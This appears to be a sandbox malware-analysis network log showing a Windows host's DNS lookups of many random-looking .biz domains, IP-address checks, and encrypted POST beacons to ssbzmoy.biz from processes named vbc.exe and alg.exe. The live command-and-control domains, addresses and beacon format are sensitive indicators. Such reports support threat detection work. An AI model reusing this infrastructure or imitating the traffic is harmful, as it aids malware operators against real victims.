Nov 28, 2024 22:46:29.158154964 CET	80	49921	82.112.184.197	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 22:44:16.594652891 CET	50191	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:26.092693090 CET	62384	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:26.239912033 CET	53404	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:26.380198002 CET	53	53404	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:27.167702913 CET	62384	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:28.203473091 CET	62384	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:28.516356945 CET	56846	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:28.654900074 CET	53	56846	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:30.199661016 CET	62384	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:32.234941959 CET	53	62384	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:32.234981060 CET	53	62384	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:32.235016108 CET	53	62384	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:32.235052109 CET	53	62384	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:32.236419916 CET	55930	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:33.238420963 CET	55930	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:34.268866062 CET	55930	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:34.579782963 CET	53	55930	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:34.579807997 CET	53	55930	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:34.579933882 CET	53	55930	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:36.973294973 CET	57825	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:37.989429951 CET	57825	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:39.004811049 CET	57825	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:41.022582054 CET	57825	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:43.167146921 CET	53	57825	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:43.167159081 CET	53	57825	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:43.167171001 CET	53	57825	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:43.167433977 CET	53	57825	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:43.178198099 CET	56796	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:44.194097996 CET	56796	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:45.193293095 CET	56796	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:47.206796885 CET	56796	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:49.362823963 CET	53	56796	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:49.362843037 CET	53	56796	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:49.362859964 CET	53	56796	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:49.363116980 CET	53	56796	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:49.363971949 CET	53251	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:49.863692999 CET	53	53251	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:52.608321905 CET	62073	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:52.840854883 CET	53	62073	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:52.841706038 CET	54852	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:53.832880974 CET	54852	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:54.848702908 CET	54852	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:56.874648094 CET	54852	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:59.083451986 CET	53	54852	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:59.083472967 CET	53	54852	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:59.083482981 CET	53	54852	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:59.083524942 CET	53	54852	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:59.084439039 CET	53654	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:59.314755917 CET	53	53654	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:59.315699100 CET	62020	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:44:59.540350914 CET	53	62020	1.1.1.1	192.168.2.7
Nov 28, 2024 22:44:59.542212963 CET	49245	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:45:00.506107092 CET	53	49245	1.1.1.1	192.168.2.7
Nov 28, 2024 22:45:26.679733992 CET	63499	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:45:27.583204985 CET	53	63499	1.1.1.1	192.168.2.7
Nov 28, 2024 22:45:44.750461102 CET	54633	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:45:44.888593912 CET	53	54633	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:11.740989923 CET	52249	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:12.738260031 CET	52249	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:13.754035950 CET	52249	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:14.648359060 CET	53	52249	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:14.648423910 CET	53	52249	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:14.648435116 CET	53	52249	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:16.907283068 CET	53918	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:17.910101891 CET	53918	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:18.925837040 CET	53918	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:20.925868034 CET	53918	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:23.140171051 CET	53	53918	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:23.140188932 CET	53	53918	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:23.140202045 CET	53	53918	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:23.140209913 CET	53	53918	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:23.140904903 CET	65296	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:24.145323992 CET	65296	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:25.162677050 CET	65296	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:27.160124063 CET	65296	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:28.047879934 CET	53	65296	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:28.047894955 CET	53	65296	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:28.047904015 CET	53	65296	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:28.047982931 CET	53	65296	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:29.038467884 CET	55444	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:29.175770044 CET	53	55444	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:42.662859917 CET	59945	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:43.676070929 CET	59945	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:44.691634893 CET	59945	53	192.168.2.7	1.1.1.1
Nov 28, 2024 22:46:45.939476013 CET	53	59945	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:45.939491034 CET	53	59945	1.1.1.1	192.168.2.7
Nov 28, 2024 22:46:45.939502001 CET	53	59945	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 22:44:16.594652891 CET	192.168.2.7	1.1.1.1	0xc0ff	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.092693090 CET	192.168.2.7	1.1.1.1	0x6c41	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.239912033 CET	192.168.2.7	1.1.1.1	0x3e6d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:27.167702913 CET	192.168.2.7	1.1.1.1	0x6c41	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:28.203473091 CET	192.168.2.7	1.1.1.1	0x6c41	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:28.516356945 CET	192.168.2.7	1.1.1.1	0x3d98	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:30.199661016 CET	192.168.2.7	1.1.1.1	0x6c41	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:32.236419916 CET	192.168.2.7	1.1.1.1	0x5ac	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:33.238420963 CET	192.168.2.7	1.1.1.1	0x5ac	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:34.268866062 CET	192.168.2.7	1.1.1.1	0x5ac	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:36.973294973 CET	192.168.2.7	1.1.1.1	0x6197	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:37.989429951 CET	192.168.2.7	1.1.1.1	0x6197	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:39.004811049 CET	192.168.2.7	1.1.1.1	0x6197	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:41.022582054 CET	192.168.2.7	1.1.1.1	0x6197	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:43.178198099 CET	192.168.2.7	1.1.1.1	0x9c1e	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:44.194097996 CET	192.168.2.7	1.1.1.1	0x9c1e	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:45.193293095 CET	192.168.2.7	1.1.1.1	0x9c1e	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:47.206796885 CET	192.168.2.7	1.1.1.1	0x9c1e	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.363971949 CET	192.168.2.7	1.1.1.1	0xf9da	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:52.608321905 CET	192.168.2.7	1.1.1.1	0xa3f8	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:52.841706038 CET	192.168.2.7	1.1.1.1	0x9681	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:53.832880974 CET	192.168.2.7	1.1.1.1	0x9681	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:54.848702908 CET	192.168.2.7	1.1.1.1	0x9681	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:56.874648094 CET	192.168.2.7	1.1.1.1	0x9681	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.084439039 CET	192.168.2.7	1.1.1.1	0x52ad	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.315699100 CET	192.168.2.7	1.1.1.1	0x5306	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.542212963 CET	192.168.2.7	1.1.1.1	0xe90e	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:45:26.679733992 CET	192.168.2.7	1.1.1.1	0x9aca	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:45:44.750461102 CET	192.168.2.7	1.1.1.1	0x7f52	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:11.740989923 CET	192.168.2.7	1.1.1.1	0x89d0	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:12.738260031 CET	192.168.2.7	1.1.1.1	0x89d0	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:13.754035950 CET	192.168.2.7	1.1.1.1	0x89d0	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:16.907283068 CET	192.168.2.7	1.1.1.1	0xfc25	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:17.910101891 CET	192.168.2.7	1.1.1.1	0xfc25	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:18.925837040 CET	192.168.2.7	1.1.1.1	0xfc25	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:20.925868034 CET	192.168.2.7	1.1.1.1	0xfc25	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:23.140904903 CET	192.168.2.7	1.1.1.1	0x8dae	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:24.145323992 CET	192.168.2.7	1.1.1.1	0x8dae	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:25.162677050 CET	192.168.2.7	1.1.1.1	0x8dae	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:27.160124063 CET	192.168.2.7	1.1.1.1	0x8dae	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:29.038467884 CET	192.168.2.7	1.1.1.1	0xeb08	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:42.662859917 CET	192.168.2.7	1.1.1.1	0xe057	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:43.676070929 CET	192.168.2.7	1.1.1.1	0xe057	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:44.691634893 CET	192.168.2.7	1.1.1.1	0xe057	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 22:44:16.732482910 CET	1.1.1.1	192.168.2.7	0xc0ff	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 22:44:20.122911930 CET	1.1.1.1	192.168.2.7	0xa9d6	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 22:44:20.122911930 CET	1.1.1.1	192.168.2.7	0xa9d6	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.380198002 CET	1.1.1.1	192.168.2.7	0x3e6d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 22:44:26.380198002 CET	1.1.1.1	192.168.2.7	0x3e6d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.380198002 CET	1.1.1.1	192.168.2.7	0x3e6d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.380198002 CET	1.1.1.1	192.168.2.7	0x3e6d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.380198002 CET	1.1.1.1	192.168.2.7	0x3e6d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:26.380198002 CET	1.1.1.1	192.168.2.7	0x3e6d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:28.654900074 CET	1.1.1.1	192.168.2.7	0x3d98	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:28.654900074 CET	1.1.1.1	192.168.2.7	0x3d98	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:32.234941959 CET	1.1.1.1	192.168.2.7	0x6c41	Server failure (2)	pywolwnvd.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:32.234981060 CET	1.1.1.1	192.168.2.7	0x6c41	Server failure (2)	pywolwnvd.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:32.235016108 CET	1.1.1.1	192.168.2.7	0x6c41	Server failure (2)	pywolwnvd.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:32.235052109 CET	1.1.1.1	192.168.2.7	0x6c41	Server failure (2)	pywolwnvd.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:34.579782963 CET	1.1.1.1	192.168.2.7	0x5ac	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:34.579807997 CET	1.1.1.1	192.168.2.7	0x5ac	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:34.579933882 CET	1.1.1.1	192.168.2.7	0x5ac	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:43.167146921 CET	1.1.1.1	192.168.2.7	0x6197	Server failure (2)	cvgrf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:43.167159081 CET	1.1.1.1	192.168.2.7	0x6197	Server failure (2)	cvgrf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:43.167171001 CET	1.1.1.1	192.168.2.7	0x6197	Server failure (2)	cvgrf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:43.167433977 CET	1.1.1.1	192.168.2.7	0x6197	Server failure (2)	cvgrf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.362823963 CET	1.1.1.1	192.168.2.7	0x9c1e	Server failure (2)	npukfztj.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.362843037 CET	1.1.1.1	192.168.2.7	0x9c1e	Server failure (2)	npukfztj.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.362859964 CET	1.1.1.1	192.168.2.7	0x9c1e	Server failure (2)	npukfztj.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.363116980 CET	1.1.1.1	192.168.2.7	0x9c1e	Server failure (2)	npukfztj.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.863692999 CET	1.1.1.1	192.168.2.7	0xf9da	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:49.863692999 CET	1.1.1.1	192.168.2.7	0xf9da	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:52.840854883 CET	1.1.1.1	192.168.2.7	0xa3f8	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.083451986 CET	1.1.1.1	192.168.2.7	0x9681	Server failure (2)	knjghuig.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.083472967 CET	1.1.1.1	192.168.2.7	0x9681	Server failure (2)	knjghuig.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.083482981 CET	1.1.1.1	192.168.2.7	0x9681	Server failure (2)	knjghuig.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.083524942 CET	1.1.1.1	192.168.2.7	0x9681	Server failure (2)	knjghuig.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.314755917 CET	1.1.1.1	192.168.2.7	0x52ad	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:44:59.540350914 CET	1.1.1.1	192.168.2.7	0x5306	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:45:00.506107092 CET	1.1.1.1	192.168.2.7	0xe90e	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:45:27.583204985 CET	1.1.1.1	192.168.2.7	0x9aca	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:45:44.888593912 CET	1.1.1.1	192.168.2.7	0x7f52	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:14.648359060 CET	1.1.1.1	192.168.2.7	0x89d0	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:14.648423910 CET	1.1.1.1	192.168.2.7	0x89d0	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:14.648435116 CET	1.1.1.1	192.168.2.7	0x89d0	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:23.140171051 CET	1.1.1.1	192.168.2.7	0xfc25	Server failure (2)	ifsaia.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:23.140188932 CET	1.1.1.1	192.168.2.7	0xfc25	Server failure (2)	ifsaia.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:23.140202045 CET	1.1.1.1	192.168.2.7	0xfc25	Server failure (2)	ifsaia.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:23.140209913 CET	1.1.1.1	192.168.2.7	0xfc25	Server failure (2)	ifsaia.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:28.047879934 CET	1.1.1.1	192.168.2.7	0x8dae	Server failure (2)	saytjshyf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:28.047894955 CET	1.1.1.1	192.168.2.7	0x8dae	Server failure (2)	saytjshyf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:28.047904015 CET	1.1.1.1	192.168.2.7	0x8dae	Server failure (2)	saytjshyf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:28.047982931 CET	1.1.1.1	192.168.2.7	0x8dae	Server failure (2)	saytjshyf.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:29.175770044 CET	1.1.1.1	192.168.2.7	0xeb08	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:45.939476013 CET	1.1.1.1	192.168.2.7	0xe057	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:45.939491034 CET	1.1.1.1	192.168.2.7	0xe057	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 22:46:45.939502001 CET	1.1.1.1	192.168.2.7	0xe057	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

checkip.dyndns.org

ssbzmoy.biz

przvgke.biz

lpuegx.biz

vjaxhpbji.biz

xlfhhhm.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49718	132.226.247.73	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:26.660605907 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 28, 2024 22:44:27.994559050 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 21:44:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f22ba38775d019294b100fe78ff83aaa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Nov 28, 2024 22:44:28.036232948 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 28, 2024 22:44:28.461354971 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 21:44:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c7d2cfcb60918463fc9e299f8d935cc4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49740	18.141.10.107	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:34.926409960 CET	344	OUT	POST /j HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:44:34.926440954 CET	834	OUT	Data Raw: bb 51 5c c3 2c 86 67 ed 36 03 00 00 2a 05 e2 93 84 df 63 8b 47 8f 51 9d 77 e9 a2 2f 73 99 db 64 c8 20 17 7a d6 f2 f4 9e c1 ea 36 c2 8f 87 4f 3f e9 12 b7 5d db 28 87 4d 18 ba ff 52 6d 0c 21 47 39 40 ea 09 d0 86 76 7f 03 a3 cf a3 a5 f3 63 3c de ac Data Ascii: Q\,g6*cGQw/sd z6O?](MRm!G9@vc<AlITCQYSXKz\1a_Kr2zr1BaTmeK8{I}d_dO8.ZZ~DV%L%Fp91w;5CTEIS6A@j
Nov 28, 2024 22:44:36.970561028 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 21:44:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9304305ae0ce9b2e67a6c7add67f1096\|8.46.123.228\|1732830276\|1732830276\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49743	18.141.10.107	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:35.051719904 CET	344	OUT	POST /j HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
